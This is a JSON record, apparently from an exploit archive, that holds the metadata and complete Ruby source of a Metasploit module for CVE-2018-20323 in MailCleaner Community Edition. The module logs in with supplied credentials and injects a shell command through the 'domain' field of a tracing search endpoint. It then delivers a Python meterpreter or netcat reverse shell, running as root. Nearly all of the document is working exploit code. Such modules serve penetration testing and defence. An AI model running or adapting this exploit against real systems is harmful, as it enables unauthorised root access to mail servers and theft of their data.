{"exploit":{"id":"MSF-linux--http--mailcleaner_exec","name":"Mailcleaner Remote Code Execution","description":"This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.","cves":["CVE-2018-20323"],"author":"Mehmet Ince","published":"2018-12-19","platform":"Python,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/linux/http/mailcleaner_exec.rb","path":"modules/exploits/linux/http/mailcleaner_exec.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"mailcleaner_exec.rb","vulnerabilities":[{"id":"CVE-2018-20323","state":"PUBLISHED","title":null,"titleSource":null,"description":"www/soap/application/MCSoap/Logs.php in MailCleaner Community Edition 2018.08 allows remote attackers to execute arbitrary OS commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-20323","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-20323"},"updatedAt":"2024-08-05T11:58:19.133Z","retrievedAt":"2026-11-26T12:11:57.113Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--mailcleaner_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--mailcleaner_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--mailcleaner_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--mailcleaner_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mailcleaner Remote Code Execution',\n        'Description' => %q{\n          This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an\n          operating system command under the context of the web server user which is root.\n\n          /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing\n          operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module\n        ],\n        'References' => [\n          ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],\n          ['CVE', '2018-20323']\n        ],\n        'DefaultOptions' => {\n          'SSL' => true,\n          'WfsDelay' => 5\n        },\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON,\n              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Command payload',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Payload' => { 'BadChars' => \"\\x26\" },\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2018-12-19',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),\n        OptString.new('USERNAME', [true, 'The username to login as']),\n        OptString.new('PASSWORD', [true, 'The password to login with'])\n      ]\n    )\n  end\n\n  def username\n    datastore['USERNAME']\n  end\n\n  def password\n    datastore['PASSWORD']\n  end\n\n  def auth\n    print_status('Performing authentication...')\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin/')\n    })\n\n    if res && !res.get_cookies.empty?\n      cookie = res.get_cookies\n    else\n      fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')\n    end\n\n    # Performing authentication\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin/'),\n      'cookie' => cookie,\n      'vars_post' => {\n        'username' => username,\n        'password' => password,\n        'submit' => 'Log+in'\n      }\n    })\n\n    if res && res.code == 302\n      print_good(\"Awesome..! Authenticated with #{username}:#{password}\")\n    else\n      fail_with(Failure::NoAccess, 'Credentials are not valid.')\n    end\n\n    cookie\n  end\n\n  def exploit\n    cookie = auth\n\n    if cookie.nil?\n      fail_with(Failure::Unknown, 'Something went wrong!')\n    end\n\n    print_status('Exploiting command injection flaw')\n\n    if target['Arch'] == ARCH_PYTHON\n      cmd = \"';$(python -c \\\"#{payload.encoded}\\\");#\"\n    else\n      cmd = \"';#{payload.encoded};#\"\n    end\n\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),\n      'cookie' => cookie,\n      'vars_post' => {\n        'search' => rand_text_alpha(5),\n        'domain' => cmd,\n        'submit' => 1\n      }\n    })\n  end\nend\n","sha256":"75bf301d55dc71a5d013adf890b3ad6a5d5a4cade13f187acd24de9ff01e8d60","bytes":4121,"fetchedAt":"2026-11-27T03:11:30.422Z","encoding":"utf-8 (display only; download retains original bytes)"}